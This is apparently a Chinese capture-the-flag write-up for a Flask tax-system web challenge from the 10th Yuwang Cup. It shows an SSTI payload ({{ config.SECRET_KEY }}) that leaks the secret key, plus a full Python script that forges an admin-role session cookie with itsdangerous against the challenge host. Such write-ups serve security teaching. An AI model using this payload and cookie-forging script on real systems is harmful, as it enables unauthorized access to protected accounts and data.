Flask SSTI读SECRET_KEY+伪造Session:税务系统渗透全流程

{{config.SECRET_KEY}} 注入读密钥 → itsdangerous 伪造 admin session


三、 WEB-TaxSystem_SSTI

|----------|----------------------------------------------------|
| 题目难度 | 中级 |
| 题目分类 | WEB |
| 漏洞类型 | SSTI (Server-Side Template Injection) + Session 伪造 |

◆ 题目描述

这是一道第十届御网杯网络安全线上挑战赛的基于 Flask 框架的税务系统题目。附件提供了完整的源码,包含 app.py、config.py 和 init_db.py 等核心文件。系统有一个管理员账号(admin/123456),登录后可以查看和编辑纳税人档案。我们的目标是获取管理员权限来访问 /admin/vault 获取 flag。

◆ 解题思路

Step 1 :登录并信息收集

使用 curl 登录管理员账号,获取会话后观察各个功能点。通过审计源码发现,系统在编辑档案时会将用户输入的内容渲染到 Jinja2 模板中,这就是 SSTI 的入口。config.py 中存储了 SECRET_KEY,而这个密钥可以通过 SSTI 注入读取到。

Step 2 : SSTI 注入获取 SECRET_KEY

在编辑档案功能中,注入以下 SSTI Payload:

复制代码
{{ config.SECRET_KEY }}

服务器将这段模板语法进行渲染,直接返回了 SECRET_KEY 的值。这就是 SSTI 的危险之处------用户输入被当作模板代码执行,可以读取服务器上的敏感信息。

获取到的 SECRET_KEY : secret_tax_key_2026_xoxo

|----------------------------------------------------------|
| ❗ 通过 SSTI 获取 SECRET_KEY 后,利用 itsdangerous 库伪造高权限 Session |

Step 3 :伪造 Session Cookie

拿到 SECRET_KEY 后,我们就可以使用 Python 的 itsdangerous 库来伪造 Flask 的 session cookie。Flask 默认使用 itsdangerous 库对 session 数据进行签名,只要知道 SECRET_KEY,就能构造出任意内容的合法 session。我们构造一个 role=tax_inspector 的高权限 session,然后用它访问 /admin/vault 获取 flag。

◆ 伪造 Session 脚本

下面是完整的自动化利用脚本,涵盖了登录、验证密钥、伪造 session、获取 flag 的全流程:

python 复制代码
import hashlib

import requests

from itsdangerous import URLSafeTimedSerializer

from itsdangerous.exc import BadSignature

 

TARGET = "http://47.99.147.34:16610"

 

try:

    import itsdangerous

    print(f"itsdangerous 版本: {itsdangerous.__version__}")

except Exception:

    print("请安装: pip install itsdangerous")

    exit(1)

 

print("\n[1] 登录 admin/123456...")

sess = requests.Session()

r = sess.post(f"{TARGET}/login",

              data={"username": "admin", "password": "123456"},

              allow_redirects=False)

 

raw_cookie = sess.cookies.get('session')

if raw_cookie:

    print(f"原始 session: {raw_cookie[:60]}...")

else:

    print("未获取到 session cookie")

    raw_cookie = None

 

SECRET_KEY = "secret_tax_key_2026_xoxo"

print(f"\n[2] SECRET_KEY (从 SSTI 获取): {SECRET_KEY}")

 

SIGNER_KWARGS = {

    'salt': 'cookie-session',

    'signer_kwargs': {

        'key_derivation': 'hmac',

        'digest_method': hashlib.sha1

    }

}

 

if raw_cookie:

    print("\n[3] 验证 SECRET_KEY...")

    s = URLSafeTimedSerializer(SECRET_KEY, **SIGNER_KWARGS)

    try:

        data = s.loads(raw_cookie)

        print(f"密钥正确! session 内容: {data}")

    except BadSignature:

        print("密钥签名不匹配,尝试其他参数...")

        s2 = URLSafeTimedSerializer(SECRET_KEY, salt='cookie-session')

        try:

            data = s2.loads(raw_cookie)

            print(f"无需 key_derivation 即可验证! session: {data}")

            SIGNER_KWARGS = {'salt': 'cookie-session'}

        except BadSignature:

            print("仍然失败")

 

print("\n[4] 伪造 role=tax_inspector session...")

s = URLSafeTimedSerializer(SECRET_KEY, **SIGNER_KWARGS)

fake_cookie = s.dumps({'role': 'tax_inspector', 'user_id': 1})

print(f"伪造 session: {fake_cookie}")

 

print("\n[5] 访问 /admin/vault 获取 flag...")

r = requests.get(f"{TARGET}/admin/vault",

                 cookies={'session': fake_cookie})

print(f"[*] HTTP {r.status_code}")

 

if 'flag' in r.text.lower():

    import re

    m = re.search(r'flag\{[^}]+\}', r.text)

    if m:

        print(f"[+] FLAG: {m.group()}")

    else:

        print(f"成功进入 vault!\n{r.text[:800]}")

◆ 攻击流程小结

整个攻击过程可以概括为以下几个关键步骤:首先登录管理员账号,然后利用档案编辑功能中的 SSTI 漏洞,注入 {{ config.SECRET_KEY }} 读取到 Flask 应用的密钥。接着使用 itsdangerous 库和这个密钥伪造一个具有 tax_inspector 角色的高权限 session cookie。最后携带伪造的 cookie 访问 /admin/vault 页面,成功获取 flag。这道题的核心在于 SSTI 和 Session 伪造的组合使用,属于比较经典的 Flask 应用攻击链。

相关推荐
ZoeLandia7 小时前
React04:事件处理与受控表单
开发语言·前端·react.js·typescript
FOAF-lambda7 小时前
Python实战:基于OpenCV与单调栈,精准定位PDF中最大的空白区域
python·opencv·pdf
亿元程序员7 小时前
用AI做了一款微信小游戏,却发现上传不了
前端
terry6007 小时前
企业数据查询接口防爬实战:图形验证码服务端校验接入与限流设计(附Python)
python·信息与通信·图形验证码·反爬虫·人机验证·行为验证码·滑动拼图验证
每天一道题7 小时前
Kafka 为什么会重复消费?从 Producer ACK、Offset 到消息可靠性
后端·微服务
量化炼金 (CodeAlchemy)7 小时前
【Python】pandas vs polars 简单性能对比测试
开发语言·python·pandas
Ai-_Man7 小时前
我需要批量导出Poe左边栏所有对话,而不是一条具体的对话内容,你们AI导出鸭可以吗?
开发语言·前端·javascript·人工智能·小程序
学习论之费曼学习法7 小时前
无人值守AI内容矩阵实战(7):Playwright 发布器避坑——编辑器竞态、索引延迟与风控
python·线性代数·矩阵·编辑器·浏览器自动化·playwright·踩坑记录
java1234_小锋7 小时前
【技术专题】HTML5 网页技术 - Web Storage 本地存储 & 文件 API & 拖放 API
前端·html·html5
恋猫de小郭7 小时前
Flutter 官方表示:AI 时代代码越来越容易写,为什么还要一套代码库?
android·前端·flutter